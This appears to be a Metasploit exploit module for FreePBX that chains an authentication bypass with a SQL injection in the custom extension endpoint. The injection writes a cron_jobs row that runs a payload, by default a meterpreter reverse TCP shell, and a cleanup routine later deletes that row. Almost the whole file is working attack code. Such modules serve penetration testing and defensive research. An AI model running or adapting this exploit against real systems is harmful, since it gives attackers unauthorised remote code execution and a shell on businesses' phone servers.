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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = ExcellentRanking
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  include Msf::Exploit::Remote::HttpClient
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'FreePBX endpoint SQLi to RCE',
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        'Description' => %q{
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          FreePBX is an open-source IP PBX management tool that provides a modern phone system for businesses that use
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          VoIP to make and receive phone calls. Versions before 16.0.44 and 17.0.23 are vulnerable to CVE-2025-66039,
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          while versions before 16.0.92 and 17.0.6 are vulnerable to CVE-2025-61675. The former represents an
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          authentication bypass: when FreePBX uses Webserver Authorization Mode (an option the admin can enable), it
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          allows an attacker to authenticate as any user. The latter CVE describes multiple SQL injections; this module
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          exploits the SQL injection in the custom extension component. The module chains these vulnerabilities into an
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          unauthenticated SQL injection attack and gains remote code execution by injecting an SQL record into th
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          cron_jobs table. The cron_jobs database contains cron tasks that FreePBX executes in the context of the
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          operating system.
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        },
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        'License' => MSF_LICENSE,
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        'Author' => [
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          'Noah King', # research
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          'msutovsky-r7', # module
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        ],
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        'References' => [
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          [ 'CVE', '2025-66039'], # Authentication Bypass
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          [ 'CVE', '2025-61675'], # SQL injections
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          [ 'URL', 'https://horizon3.ai/attack-research/the-freepbx-rabbit-hole-cve-2025-66039-and-others/']
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        ],
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        'Platform' => ['linux'],
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        'Arch' => ARCH_CMD,
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        'Targets' => [
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          [
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            'Unix Command',
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            {
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              'DefaultOptions' =>
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              {
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                'Payload' => 'cmd/linux/http/x64/meterpreter/reverse_tcp',
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                'WfsDelay' => 70 # cronjob may take up to a minute to start
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              }
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            }
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          ]
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        ],
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        'Privileged' => false,
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        'DisclosureDate' => '2025-12-11',
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        'DefaultTarget' => 0,
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        'Notes' => {
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          'Stability' => [CRASH_SAFE],
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          'Reliability' => [REPEATABLE_SESSION],
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          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
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        }
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      )
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    )
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    register_options(
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      [
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        OptString.new('USERNAME', [true, 'A valid FreePBX user']),
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      ]
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    )
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  end
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  def sqli_custom_extension(payload)
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    send_request_cgi({
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      'uri' => normalize_uri('admin', 'config.php'),
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      'method' => 'POST',
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      'headers' => {
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        'Authorization' => basic_auth(datastore['USERNAME'], Rex::Text.rand_text_alphanumeric(6))
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      },
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      'vars_get' => {
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        'display' => 'endpoint',
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        'view' => 'customExt'
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      },
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      'vars_post' => {
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        'id' => payload
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      }
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    })
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  end
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  def check
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    res = sqli_custom_extension(%('))
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    if res&.code == 500
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      return Exploit::CheckCode::Vulnerable('Detected SQL injection with authentication bypass')
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    end
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    Exploit::CheckCode::Safe('No SQL injection detected, target is patched')
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  end
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  def exploit
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    @job_name = Rex::Text.rand_text_alpha(8..12)
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    rce_payload = 'INSERT INTO cron_jobs (modulename,jobname,command,class,schedule,max_runtime,enabled,execution_order)'
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    rce_payload += " VALUES ('sysadmin','#{@job_name}','#{payload.encoded}',NULL,'* * * * *',30,1,1)"
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    res = sqli_custom_extension(%(1';#{rce_payload} -- ))
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    if res&.code == 401
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      print_good("Created cronjob with job name: '#{@job_name}'")
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      print_status('Waiting for cronjob to trigger...')
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    else
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      fail_with(Failure::PayloadFailed, 'Cronjob was not created.')
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    end
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  end
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  def cleanup
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    super
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    return unless @job_name
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    # Remove the created cronjob
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    res = sqli_custom_extension(%('; DELETE FROM cron_jobs WHERE jobname='#{@job_name}' -- ))
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    print_status('Attempting to perform cleanup')
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    if res&.code == 401
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      print_good('Cronjob removed.')
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    else
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      print_bad("Cronjob #{@job_name} not removed, please perform manual cleanup!")
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    end
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  end
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end
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